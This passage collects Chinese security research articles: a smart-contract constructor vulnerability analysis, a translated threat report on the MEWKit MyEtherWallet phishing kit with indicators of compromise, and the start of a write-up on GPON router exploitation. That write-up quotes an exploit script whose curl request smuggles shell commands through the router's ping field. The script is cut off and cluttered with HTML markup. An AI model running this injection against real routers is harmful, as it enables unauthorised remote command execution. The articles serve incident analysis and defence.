才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。目前智能合约正处于新生阶段,流行的
solidity
语言也还没有发布正式1.0
版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。最后感谢
404实验室
的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
0x06 参考链接
- Github smart-contract-honeypots
- Github Solidlity-Vulnerable
- The phenomenon of smart contract honeypots
- Solidity 中文手册
- Solidity原理(一):继承(Inheritance)
- 区块链安全 - DAO攻击事件解析
- 以太坊智能合约安全入门了解一下
- Exposing Ethereum Honeypots
- Solidity Bug Info
- Uninitialised storage references should not be allowed
0x07 附录:已知蜜罐智能合约地址以及交易情况
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,具体结果如下:下载地址:下载
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/631/
-
从以太坊”MorphToken事件”看智能合约构造函数大小写编码错误漏洞
作者:fenix@知道创宇404区块链安全研究团队
时间:2018年6月22日一、漏洞概述
以太坊智能合约的含义就是一组代码(函数)和数据(合约的状态),它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。
Morpheus Network与世界上一些大型航运、海关和银行公司协商,通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统 ,发布基于以太坊的 MorphToken。
2018年6月22日,Morpheus Network 发公告称将发布新的智能合约,以更新目前含有漏洞的合约代码。新的Token名称为MRPH,新旧Token以1:1兑换。
随后,知道创宇404区块链安全研究团队开始漏洞应急,通过分析MorphToken合约代码和交易历史,确定该漏洞是由于大小写编码问题,错误的将Owned合约的构造函数Owned的首字母小写,使之成为了一个普通函数owned,任何以太坊账户均可调用该函数夺取合约的所有权,进一步实现盗币等系列非法操作。随即我们发布了相关应急报告,同时我们也注意到BCSEC安全团队发布了相关的分析文档。
在后续的研究中,我们发现早在2017年8月29日,Github上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。
二、漏洞原理
在MorphToken的合约代码里:https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code 可以明显的看到相关大小写编写错误:
以太坊智能合约中的构造函数主要用于初始化,如:确定合约的所有者,并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中,构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错,那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下:
0x01 漏洞合约部署
下图中,Bank合约继承自Owned合约。在Owned合约中,由于错误的编码,将构造函数名称写错,owned函数成为了一个普通函数。可以看到,Bank合约部署后,由于缺少构造函数,初始化时owner为0x0000000000000000000000000000000000000000。
0x02 漏洞现场还原
任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数,更改Bank合约的owner变量,从而使合约所有权发生转移。
如下如所示,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后,可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理,攻击者也可以利用这个漏洞提权,实施一系列恶意操作。
三、漏洞影响评估
我们使用内部的以太坊智能合约审计系统对以太坊主链上所有30000+公开智能合约进行了自动化审计,确认受该大小写编码漏洞影响的共计16个,以下为统计结果:
(受漏洞影响程度取决于合约的逻辑,具体代码审计结果可联系知道创宇404区块链安全研究团队)
理论上在合约部署后,由于编码错误引起的构造函数缺失,owner默认值会变为0x0000000000000000000000000000000000000000,这样合约中涉及到owner的函数调用都会异常,合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币,因为合约存在这个编码漏洞而被盗币。通过分析Morph Token源代码,我们得到了答案。MorphToken继承了Owned合约,但是自己实现了构造函数。就是说,是父合约向外留了一个“后门”。
另一种情况,如果合约中没有涉及owner权限的函数调用,那么即使攻击者盗取了合约所有权,也没有任何用处。上表B2X合约中就是这种情况。
总体来说,受漏洞影响的合约数量不多,属于被MorphToken带着“火”了一把的漏洞。
事实上,很多安全漏洞都来源于程序员的粗心编码,智能合约这种部署后即不可更改的更应加强代码审计。
四、防护方案
1、0.4.22版本以后的solidity编译器引入了constructors关键字,以替代低版本的将合约名作为构造函数名的语法,从而避免程序员编码错误。强烈建议采用最新版本编译器。
2、技术业务咨询
知道创宇404区块链安全研究团队:http://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
五、相关链接
[1] Morpheus 官网
https://morpheus.network/
[2] 官方公告
https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
[3] 以太坊主链智能合约
https://etherscan.io/contractsVerified
[4] 合约构造函数缺失漏洞示例
https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
[5] 漏洞详情参考
https://bcsec.org/index/detail?id=157&tag=1本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/630/
-
MEWKit: Cryptotheft 的最新武器
译者:知道创宇安全服务团队、404区块链安全团队
[PDF版本下载]介绍
当谈到加密货币时,会联想到加密货币巨大的价格波动,交易违约、赎金勒索的情况以及许多不同种类的货币。虚拟货币自兴起以来,就一直受到罪犯无情地攻击,许多人都希望能从中获取利益。在此威胁报告中,我们将重点关注Ethereum,也称为“以太”,以及它与名为MyEtherWallet(MEW)的在线服务的关系,该服务是网络钓鱼自动传输系统(ATS)MEWKit的目标。
MEWkit的突出之处在于它远不止传统的网络钓鱼套件那样,除了是一个以窃取凭证为目的的模仿MyEtherWallet前端的网站以外,它也是一个客户端 ,可以处理钓鱼页面捕获的付款细节以转出资金,将资金从钓鱼受害者以太坊钱包直接寄给攻击者控制的钱包。
本报告详细阐述了MEWKit功能,背景以及过去和现在的一系列行为活动,并对2018年4月24日发生的一件重大事件作一些说明。那就是在亚马逊DNS服务器上执行边界网关协议(BGP)劫持攻击,将用户从官方的MyEtherWallet网站重新路由到运行MEWKit的主机。
理解犯罪:理解目标
MyEtherWallet不像其他加密货币交易所和交易平台,它没有内部账户。一个典型的交易所像银行一样运作 ,用户通过创建一个账户来实现资金转入和转出。 通过这种方式,交易所就有了添加了增加了额外安全措施的用户钱包的关键词。 这些银行和交易所也能够执行分析以查看什么设备正在用于登录,并知道从那里登录。
另一方面,MyEtherWallet取消了用户拥有账户的中间步骤,并为用户提供了一个钱包允许他们直接与以太坊网络进行互动。 这种访问使MyEtherWallet变得非常透明,但没有大多数银行和交易所的附加安全层面也造成一些重大风险问题,并使其成为攻击的主要目标。
一旦MEWKit受害者认为他们正在与官方互动,钓鱼攻击就成功了。MyEtherWallet网站的资金可直接转给攻击者。 因此,我们说MEWKit是专门为MyEtherWallet制作的网络钓鱼ATS。
MEWKit 技术分析
MEWKit由两部分组成:一个模仿MyEtherWallet站点的钓鱼页面和一个处理日志的服务器端,攻击者一旦进行网络钓鱼就会将受害者的钱包里面的资金转移至攻击者指定的地点。 典型的钓鱼网页通常会重定向到网站的合法版本,这样受害者可以再次登录,MEWKit只是通过受害者的浏览器,使用MyEtherWallet对以太坊的独特访问权限,在后台进行交易。
MEWKit被其开发者称为自动传输系统,因为它捕捉到的任何钓鱼信息都会立即用于从受害者的钱包中转移资金。ATS恶意软件运营的概念来源于它的恶意软件操作,它将脚本注入金融网站上的活动网络会话中,以便将资金从受害者账户中转出,并在被感染的电脑上利用受害者登陆的账户在短时间内无形地自动完成转帐。
一旦用户登录,MEWKit就会检查他们的钱包余额并从服务器端请求接收者地址。然后将攻击者的拥有的钱包设置为接收者地址,利用正常的MyEtherWallet功能转移受害者的全部余额。
MEWKit 钓鱼页面
由于MyEtherWallet完全在客户端运行,并且可以脱机运行,因此攻击者可以下载手动构建它,这正是MEWKit的开发者所做的。MyEtherWallet源代码可以从GitHub下载:https://github.com/kvhnuke/etherwallet
MEWKit是由一个添加多个脚本的MyEtherWallet组成。 它在页面中嵌入了两个额外的JavaScript资源文件,通常命名为:sm.js和wallet.js 。它们都从合法的MyEtherWallet脚本文件路径相同的目录中加载。
wallet.js - Configuration
该脚本充当MEWKit其余部分的配置文件。 它有两个选项来设置:
js_stat
这个变量是包含后端地址的字符串,开发者称其为'admin面板' ,此变量的值用于获取转帐资金的接收地址和发送页面上发生的所有事件的日志。
user_in_page
虽然变量名称有些模糊,但它只是用来标记启用或关闭日志记录的, 1表示启用日志记录,0表示无日志记录。
sm.js - Core
该脚本包含MEWKit的功能部分,并挂接到MyEtherWallet的源代码中。该脚本顶部包含一组全局变量:
____pwd
包含受害者的钱包中的助记符短语或密码/密钥库JSON文件内容。
ikey
目前尚未在我们观察到的任何MEWKit版本中使用。它会在所有的回调中发送到后端,但是除了初始值“none”以外,没有被设置其他值。
txt_ua
包含受害者的用户代理,并调用navigator.userAgent
send_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将
send_block_flg
设置为0并开始将可用余额转账。标志位为1的话,不会启动任何交易而且会阻止任何正进行的交易。balance
一旦用户登录到MEWKit钓鱼网站,将显用户钱包中的可用余额页面。
eth_recipient
包含攻击者控制的用来转移盗取资金的接收地址。
balance_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将balance_block_flg设置为0,开始检查受害者钱包中的可用余额。
count_flg
包含一个二进制0或1标志。标志设置为1,会触发假倒计时MEWKit页面。当MEWKit开始获取钱包凭证的时候开始转移可用余额。
在这些全局变量之后,该脚本包含一组用于进行钓鱼和自动化资金转账的功能。我们不会具体解释每一个功能,但我们会显示套件的执行流程。
MEWKit 挂钩在 MyEtherWallet 源码中
MEWKit挂钩了MyEtherWallet的正常功能,我们将逐个浏览它所放置的钩子。MEWKit首次出现在MyEtherWallet源码中主页的
<header>
部分。 已经添加了两个MEWKit脚本和一个jQuery脚本:下图,我们将在
<body>
标记中找到来自MEWKit的函数调用:该功能禁用一个用户的常见功能,即查看他们的钱包信息和余额。它还确保启动事务按钮将禁用页面上的任何其他按钮,确保用户不能去其他地方。
下一个MEWKit函数调用可以在主体中看到:
该功能保证欢迎消息能正确地更新,它通常显示的内容为“MyEtherWallet.com” 。因为钓鱼页面的域名不总是与MyEtherWallet.com近似,有时是Ethereum及其变种单词,这个函数调用确保窗口标题和页面信息与用户正在访问的网站相匹配。攻击者不必为他们设置的每个页面更改构建。
MEWKit的下一个函数被挂接到允许访问者看到钱包余额的按钮上:
此功能将在用户点击钱包余额按钮时执行,并重定向用到资金转移处,MyEtherWallet代码提供资金转移功能,这样MEWKit可以进行它所需要的交易。
另外,MEWKit将改变MyEtherWallet页面上的正常视觉效果。 通常情况下,用户所在页面的按钮会突出显示,但MEWKit会突出显示'查看电子钱包信息'按钮,当用户正在转账页面上时,“查看电子钱包信息”按钮也会将用户转到资金转移页面。 当我们访问MEWKit实例时,可以看到这种行为。注意禁用的可见性通常显示的Ether-sending头部:
从MEWKit到MyEtherWallet的最后一次插入不在HTML页面中,而是在官方源代码中文件:etherwallet-master.js。MyEtherWallet本身是使用AngularJS框架编写的,允许开发人员构建动态功能的网页而不是静态HTML页面。AngularJS允许他们对功能和元素进行模板化,从而更轻松地提供动态网站体验。
当用户为使用MyEtherWallet的钱包而解码的时候,MEWKit通过添加一个函数调用来挂钩到angular JS。放置的函数叫做PrivateKey_decryptWallet,这将在下一章讨论ATS执行流程中详细介绍。我们可以看到很不好的是javascript源文件中的钩入函数是一个Angular JS文件:
我们可以看到我们本应该查看我们的钱包信息的页面,但是实际却开始了一个事务,如前面的截图所示。 以下是MEWKit的入口获取解密的钱包的内容:
如图所示,这些功能不会自行开始传输。 上述功能只是准备对用户进行网络钓鱼攻击页面。
ATS Execution flow
当用户点击一个MEWKit页面时,它会为钓鱼和ATS功能做好准备,如上所示。后在准备工作中,每次都会执行一个函数,调出后端日志,这只会影响后端wallet.js中的user_in_page变量,将其设置为1(启用日志标注)时执行:
send_data_login_
函数在ATS的整个运行过程中使用,我们将解释它以下功能供以后参考。 MEWKit对后端执行标注的方式非常完美。有趣的是,它基于提供给函数和全局的参数构造一个URL变量。 然后将该URL作为新的脚本资源嵌入主浏览器的主页面中执行标注。 如下所示:如图所示,
send_data_login_
函数构造一个URL,然后将其放入一个新的脚本元素中,附加到文档的<head>
。 以下是执行该操作的MEWKit实例的示例:有意思的是服务器返回一个小的JavaScript片段,它设置一个名为jsess_msg的全局变量,该变量稍后与ATS功能的其余部分相关。 这是后端根据日志消息返回的内容:
这个函数有另一个版本叫做
send_data_login_pv
,因为它被修改为记录钱包到后端的私钥,这个版本的格式也可以编码和发送私钥。只有当用户上传私钥访问他们的钱包时,才会调用这个函数,密钥文件内容也被转发到后端。当受害者通过使用MyEtherWallet提供的方法解密他们的钱包时,ATS功能开始实际运作,该方法触发
PrivateKey_decryptWallet
函数的onclick事件。 这个函数遍历用户可以使用的所有不同的身份验证选项并记录用户使用了什么方法,然后它开始自动传输代码。 下面是一个对每种认证方法重复的功能:您可以看到MEWKit记录用户使用的认证方法,设置余额并将标志位设置为0并调
check_send_block
函数。在我们跳转到
check_send_block
函数之前,有一些重要的东西需要理解:这个特定的高亮示例使用send_data_login_pv
函数,该函数还会发送钱包的私钥到后端。这意味着MEWKit进行攻击后仍然可以访问受害者的钱包。 如果受害者购买更多以太币,攻击者可以继续盗取受害者的资金。这同样适用于另一种验证方法。 使用keyfile / JSON文件上传方法将文件上传到后端这也允许MEWKit攻击者继续访问受害者的钱包:
函数会将上传的文件发送到后端脚本post.php中由后端路径的js_stat配置变量作为前缀。
函数将通过查看发送功能是否可用来检查受害者是否成功验证:
这个函数会一直调用它自己,但会用标志阻塞,直到受害者可以启动交易。
然后代码跳转到
check_balance_block
函数:虽然这个功能看起来很复杂,但它所做的只是通过手动解析HTML来检查钱包的余额,一旦它可以确定一个可用余额,就会将其记录到后端,并且调用
check_valid_balance
函数:check_valid_balance
函数检查余额是否为正数。 如果不是,它会在后端记录一条消息,申明'Stop ATS'。如果检查余额为正数,它将通过调用get_address函数来继续执行流程。 这个功能与日志功能类似,它会构建并嵌入一个脚本资源URL,以便将浏览器调用到后端。 这个用于获取收件人地址的URL是静态的,只添加当前时间戳到URL的末尾。时间戳会附加到URL上,因为浏览器通常会很智能地使用它,并且如果相同的资源被追加两次,只会使用缓存的结果。 通过添加此时间戳会生成独一无二的URL,来确保后端服务器的更新响应:
LoadScript函数创建一个新的脚本元素并将URL设置为由get_address生成的URL。一旦资源被加载,它将调用
get_state_address
函数继续执行流程。get_state_address
函数是jsess_msg变量中设置的值的解析器,该变量由后端通过LoadScript函数。 消息的解析如下所示:get_state_address
通过剪切和切分字符串值响应来解析变量内容,以解析出将被盗资金转移到的接收地址。 如果消息的响应中包含[EMPTY],则MEWKit将停止处理并在日志中记录没有接收地址。 如果它能够从响应中获得地址,它将调用set_data函数,这是转移资金的最后一步。set_data函数将通过设置接收地址来准备一个事务去触发输入。并在
set_get_trans
函数排队延误之前点击传输按钮。点击转移按钮将使用户进入交易概览页面。 然后,set_get_trans
函数快速按下按钮以生成事务记录,之后它会对set_yes_mk_trans
函数进行排队,然后再确认事务。 这将启动余额转移,从而窃取受害者钱包中的可用余额。基本上,这些最后几项功能可以像合法用户那样只需按下按钮便可以自动创建,确认和开始转账。以下是我们上文提到过的MEWKit核心的所有功能:
这种以自动方式窃取以太坊的功能,和我们之前在钓鱼工具包中看到过的不一样。
MEWKit服务器端
如上所示,MEWKit的主要功能,如部分ATS,能在JavaScrip客户端中完全运行。MEWKit的后端仅用于:
- 日志存储:ATS中的每个步骤都会记录下每个受害者,并将其全部报告给后端
- 私钥和密码存储:如果用户使用助记符或密码登录,则会记录和在C2上提取并存储以供以后访问。
- 提供接收地址:将参与收件人的地址保留在后端和传送给被钓鱼的客户。
在大多数情况下,MEWKit实例的后端服务器为攻击者提供了他们正在从事的工作的概况。
MEWKit的限制:硬件钱包
虽然MyEtherWallet支持各种硬件钱包,如Trezor8,Ledger Wallet9,Digital,Bitbox10和Secalot11,但却不支持从这些钱包中获取密钥。这意味着那些在使用硬件钱包时被MEWKit钓鱼的人不会受到MEWKit的ATS的影响,但仍然需要在处理之前确认其钱包上的交易。因为硬件钱包的私钥存储在内部,因此不会暴露于MEWKit。
突发的原因不明的的交易是打击MEWKit的一个标志,当然也不会接受交易所需要采取的措施。MEWKit会记录所有尝试使用硬件钱包的登录信息,它只是无法使用其ATS功能自动进行资金转账。
活动的历史概述
以下部分概述了我们在RiskIQ数据库中集中观察到的所有数据攻击。以下各节中提到的AnyIOC也可以在本报告末尾的妥协指标(IOC)部分中找到。
请注意,我们没有描述观察到的每个MEWKit钓鱼网站,只列出了那些因各小节中描述的原因而可以进行钓鱼攻击的钓鱼网站。我们观察到的所有主机的完整列表可以在本报告结尾附近的“妥协指标”部分找到。
权限边缘之亚马逊53
4月24日11:00 UTC过后的一会儿,针对与亚马逊路由5312相关的IP空间执行了边界网关协议(BGP)劫持,该路由是亚马逊DNS供应系统。这意味着未经授权的用户可以重新将路由一部分旨在AmazonRoute 53的流量传输到自身,并将域分辨率重新路由到他们自己选择的端点。
重新路由MyEtherWallet访客
通常在亚马逊的AS16509下宣布(并维护)的以下IP块已由eNet在AS1029713下公布:
205.251.192.0/24
205.251.193.0/24
205.251.195.0/24
205.251.197.0/24
205.251.199.0/24这些IP地址是Amazon Route 53为通过此服务维护的任何域执行DNS路由的一部分。驻留在AS10297中的上述IP块的新端点开始路由预定用于路由53的一些流量并回复来自用户的DNS查询。
实际上,我们可以看到这个AS宣布的前缀相对于它通常所宣称的非常固定的一组块而言:
Source: https://bgp.he.net/AS10297
最终处理通常用于Route 53的流量的DNS服务器只设置了一个域来解决:myetherwallet.com。任何其他请求的域名都会被SERVFAIL响应,这是人们已经注意到的。新的DNS服务器响应一个新的IP地址MyEtherWallet,46.161.42.42,驻留在AS41995。根据地理位置,这台服务器来自俄罗斯。如果我们提供一些有关此AS的WHOIS信息,会发现它并不是一个好兆头。
在东欧分配一个AS,并在WHOIS中使用Gmail等免费服务的电子邮件地址通常是一个不好的迹象。我们可以从组织WHOISdetails中获得更多有关此地址的信息:
根据WHOIS信息,自2014年底以来,电子邮件地址的域名一直存在,并且其详细信息始终存在于WHOIS隐私服务之后。目前,主网站onweb-shield.biz处于离线状态,但通过查看档案数据,我们可以找到一个旧的托管公司网站:
Webshield对我们行业中的许多人来说都很熟悉,因为在他们的网站中有许多用于恶意目的的网站IP空间,其中一个例子是Rescator15。我们最感兴趣的是拥有这个AS的主机却已经关闭了它的网站托管网站,但仍然提供了托管机会。我们可以将Webshield定义为一个防弹主机。
以太劫持:通过MEWKit实现资金转账自动化
虽然对亚马逊Route 53的攻击非常复杂,但攻击者用于托管在Webshield AS上的服务器上的钓鱼站点的设置却不复杂。他们在服务器上放置的证书实际上并不是有效的证书,他们使用WHOIS隐私服务背后的myetherwallet [.]com创建了自己的自签名证书。这里是以太钱包WHOIS:
Source: https://community.riskiq.com/search/myetherwallet.com
以下是我们在使用MEWKit的Webshield主机上观察到的SSL证书:
Source: https://community.riskiq.com/search/certificate/sha1/4ee8ad8ef36d1e4461526997b78415b6dc306ee3
攻击者只需根据WHOIS详细信息生成证书,该证书由几乎任何现代Web浏览器标记。然而,人们好像还是忽略了这些警告选择了点击,即使有人报告资金被MEWKit从他们的以太钱包中撤出。
MEWKit页面本身与任何正确构建钓鱼页面一样,看起来与正常的以太钱包网站完全相同:
然而,我们在这次攻击中看到的设置与我们在正常MEWKitinstall上看到的不同。如果我们看一下文档对象模型(DOM),我们会看到正常的MEWKit脚本(顶部MEWKit,底部MyEtherWallet.com):
注意,脚本没有以任何方式混淆 ,看起来他们似乎是正确的。如果我们看看wallet.js,其中包含日志记录配置和后端位置,我们得到这个:
第一个变量将报告后端设置为
http://46.161.42.42/pind/
,第二个变量不可用日志记录。如果我们转到sm.js,我们已经可以在脚本的顶部看到添加了附加变量的一些更改:正如上面MEWKit的功能所解释的,
eth_recipient
变量与被盗资金的接收者有关。如果我们检查get_state_address
函数通常设置(单个)的eth_recipient
变量值,我们看到开发者一直在实现多个收件人地址。该代码仍然包含注释部分,开发者忘记将添加的eth_recipient_n
变量注释掉,因为它们没有被使用。该函数还包含一个注释掉的console.log调用,该调用会将消息记录到控制台。这让我们更加确定开发者正在测试用于脚本攻击的新功能。
通过这个图表,我们可以找到更多俄文评论的证据。我们翻译了所有评论,并根据所用的措辞,很可能由熟悉财务条款的俄语母语人士撰写(有关下文的更多信息)。我们将逐个评论。在他们不直接翻译成英文的情况下,我们会做出解释。
上面的文字‘проверяем доступность секции с траншем’提到在代码段中检查‘траншем’的可用性,这是一个有趣的用词和重要的发现。 该注释是关于下面的代码将通过钱包地址来获得钱包中资金的总余额的事实。 ‘траншем’这个词是‘ranche’的俄语,来自法语单词,表示交易的一部分或一部分。
第一条注释‘получаем баланс’,即’得到平衡’,第二条注释’баланс’是平衡’一词,第三条注释,’стоп работ’,意为’停止工作’,这能说得通是因为当程序检查到余额为0的时候来到了这条正确的分支,意味着ATS没有资金可以转移而程序可以停止工作了。
第一条注释,’оставить кошелек получателя’,翻译过来就是’设置收款人的钱包’,这与设置从钓鱼受害者的钱包中转移资金的交易收款人钱包地址的函数有关。第二条注释,’отправить весь баланс в эмаунт ’,翻译过来就是’将全部余额转移’。这句话中的最后一个单词’эмаунт’是拼写为西里尔文的非俄语单词。
这些注释的出现意味着脚本的作者是一个以俄语为母语并至少拥有一定财务知识的人。
结论
自事件发生以来,已经发布了很多关于这次具体攻击的具体细节,但我们决定更深入地了解到底发生了什么,并挖掘出与MEWKit相联系的额外见解。 亚马逊Route 53劫持(事件)只有一个目标。 虽然这次袭击的范围相对较小,但其范围可以更为巨大。
互联网是在几十年前创建的,并不是所有的构建模块都已经过时了 - BGP和DNS仍然是我们全球互联网中存在问题但至关重要的一部分。 与大多数网络安全问题一样,针对这些类型的攻击也有解决方案,但它们的效果取决于链中的每个人都加强安全性并部署解决方案。
IDN Phishery
几乎所有MEWKit实例都要注意的一点是攻击者利用国际化域名(IDNs)。 国际化域名攻击并不新鲜,但遗憾的是,它们在利用MEWKit的攻击中似乎非常有效。
浏览器正在迎头赶上去解决这个问题,Firefox和Chrome都实现了一个非常简单的算法来检查域名中的所有字符是否属于同一种语言。 如果不是,则显示以'xn--'开头的IDNA符号。 这个过滤器确实可以防止MEWKit的大量攻击,因为攻击者们使用来自西里尔文,希腊文,亚美尼亚文和希伯来文的特殊语言字符来替换带有特殊字符变体的字母。
当然,那些仍然会通过这些过滤器,我们希望在MyEtherWallet交易的每个人时保持小心。 请密切关注您打开的是哪个网址,最好是使用MyEtherWallet的书签页或自己输入域名。 不要使用来源于电子邮件,社交媒体的链接。
不同之处
MEWKit战役中使用的大多数域和主机都使用非常特定的格式来模仿MyEtherWallet。 然而一个运行MEWKit的主机却不一样,经过仔细检查后发现其运行了一些令人好奇的脚本。 有问题的主机是tikkiepayment.info,托管在31.31.196.186。 4月9日,MEWKit实例被托管在
myyetherwallett.com/myether/
,它从以下位置加载它的MEWKit脚本:12myyetherwallett.com/myether/js/wallet.jsmyyetherwallett.com/myether/js/sm.js其后台地址在 wallet.js 脚本中被设置为 https://tikkiepayment.info/showpanel/ ,wallet.js 中还包含着解释变量的注释:
我们还发现位于同一主机上其他MEWKit的后台路径地址:
123https://tikkiepayment.info/pp/https://tikkiepayment.info/mycryptopanel/https://tikkiepayment.info/showpanel/如果我们检查一下主机tikkiepayment.info,我们发现一些之前从来没有在其他MEWKit实例中见到过的奇怪的东西:它为攻击者运行着与MEWKit无关的基于web的工具。在 https://tikkiepayment.info/pv/ 上,托管着一个允许攻击者使用MyEtherWallet API来批量检查Ethereum keys的工具:
尽管网络犯罪中窃贼之间通常不存在荣誉,但该工具是其他人可以使用的精简版MyEtherWallet,它检查帐户是否有效并且有一些余额。根据服务器上存在的工具以及它是我们曾经观察过MEWKit上的第一台主机的事实,我们认为这台主机是由MEWKit的创建者设置的。此外,根据本报告底部IOC部分显示的注册信息,域名会在任何MEWKit主机设置之前一个月进行登记。
走出以太坊
尽管我们不能确切的说MEWKit操作是单一攻击者,但我们确实发现了MEWKit实例和其他加密货币和加密货币交易所的钓鱼页面之间的一些有趣链接。
4月17日,MEWKit实例在
www.xn--myetherwalle-occ.com
上正式运行,它的MEWKit脚本从以下位置加载:12cdnsfiles.com/js/wallet.jscdnsfiles.com/js/sm.js后端位置托管在,但另一个MEWKit实例直接托管在cdnsfiles.com上,其资源从上述同一位置加载,后端位置设置为cdns文件的.com / ADM /。
我们看到另一个网站从cdnsfiles.com加载资源,这不是MEWKit实例,而是blockchain.info的钓鱼页面。 该页面本身是一个普通的钓鱼网站,并没有包含MEWKit所拥有的ATS组件 - 它只是收获了登录凭证。 然而,更有趣的是它从以下位置加载资源:
它在用于MEWKit的同时使用cdnfiles.com作为其钓鱼资源,这告诉我们MEWKit背后的攻击者拥有非常广泛的钓鱼页面组合。如果我们查看钓鱼页面的主机,185.207.205.16,我们发现另一大部分钓鱼域名主要关注blockchain.info。 然而,Coinbase也有一个IDN网络钓鱼:
资源: https://community.riskiq.com/search/185.207.205.16
综上所述,因为此报告仅关注MEWKit ,所以RiskIQ PassiveTotal中的域名尚未添加到本报告的IOC部分。然而,由于它提供了MEWKit,因此在本报告IOC部分中提到的IP地址将提供足够的数据点来开始单独的调查。
总结
MEWKit自今年年初就一直被广泛使用了,尽管我们在2018年以前都没见过它,但或许MEWKit在外界早已以不同的功能或形式活跃了。BGP劫持亚马逊Route 53的行为显示了它驱动的攻击者和活动的持续性,执行其攻击的成本表明MEWKit异常成功,技术虽然简单,但却有效地窃取了以太坊。
正如我们在MEWKit的技术分析中所解释的那样,我们无法估计攻击者的收益,因为我们无法知道攻击者控制了多少钱包和地址,这是由于MyEtherWallet的设置方式是以每个受害者为基础发放的地址的。区块链的架构,特别是以太坊允许每个人通过公簿洞察钱包地址余额,但它也维护了所有者的完全匿名性。直到攻击者被抓获或执法部门提供MEWKit攻击中使用的精确地址的见解前,我们永远不会知道其确切的运作。
我们确实知道,各种钱包已经在社交媒体和论坛上发布,表面上收入可能达数百万美元,但我们无法高度自信地将其与MEWKit联系起来。 然而,随着注册域名数量的增加,服务器维护的增多以及活动水平的提高,我们可以推测这次攻击的收入必须足够丰厚,不仅能够维持运营,而且还能盈利。
妥协指标
以下部分包括我们观察到的所有直接属于MEWKit的IOC(控制反转)以及IOC的行为,这些IOC同样可以用于自动化的PassiveTotal项目:https://community.riskiq.com/projects/27cddf0e-a912-1ca7-5a9e-6182d3674045
以下IP地址被检测到正在执行MEWKit实例,并且与列表下方列举在表格中的一个或多个域名相关联。
123456789185.145.131.134185.207.205.16185.207.205.25185.61.137.36198.50.209.8331.31.196.18637.1.203.20946.161.42.425.45.69.74以下是包含注册日期及用于注册的电子邮件地址的详细域名列表。如果电子邮件地址丢失,这意味着该字段默认由隐私服务或注册商填写。由MEWKit建立和用于活动的域名的注册日期紧密重合。
高端渗透测试服务,请访问http://www.scanv.com
招贤纳士:tiancy@knownsec.com本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/608/
-
GPON Home Gateway 远程命令执行漏洞被利用情况
作者:知道创宇404实验室
日期:2018/05/102018/05/07,
ZoomEye Dork
(文末有彩蛋)中heige
吟诗一首(作者:卞之琳):
断章
你在桥上看风景,
看风景人在楼上看你。
明月装饰了你的窗子,
你装饰了别人的梦。
殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。0x00前言
一. 漏洞详情
2018/04/30,
vpnMentor
公布了GPON
路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求,就可以在GPON路由器
上执行任意命令,所以在上一篇文章《GPON Home Gateway 远程命令执行漏洞分析》,我们给出了僵尸网络的相关预警。结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究,我们对
GPON Home Gateway远程命令执行漏洞
被利用情况进行了深入的研究,意外地发现利用该漏洞的僵尸网络是可以被监控的。短短的四天时间内,这片路由器的战场,竞争、撤退、消亡时时刻刻都在上演,在每一个路由器的背后,每天都有着多个不同的恶意控制者,故事精彩得难以想象。
二. 检测原理
漏洞发现者给出的利用脚本如下:
123456789<span class="m">1</span> <span class="c1">#!/bin/bash</span><span class="m">2</span><span class="m">3</span> <span class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Sending the Command… “<span class="m">4</span> <span class="c1"># We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices</span><span class="m">5</span> curl -k -d “XWebPageName<span class="o">=</span>diag<span class="p">&</span><span class="nv">diag_action</span><span class="o">=</span>ping<span class="p">&</span><span class="nv">wan_conlist</span><span class="o">=</span><span class="m">0</span><span class="p">&</span><span class="nv">dest_host</span><span class="o">=</span><span class="se">`</span><span class="nv">$2</span><span class="se">`</span><span class="p">;</span><span class="nv">$2</span><span class="p">&</span><span class="nv">ipv</span><span class="o">=</span><span class="m">0</span>” <span class="nv">$1</span>/GponForm/diag_Form?images/ <span class="m">2</span>>/dev/null <span class="m">1</span>>/dev/null<span class="m">6</span> <span class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Waiting….”<span class="m">7</span> sleep <span class="m">3</span><span class="m">8</span> <span 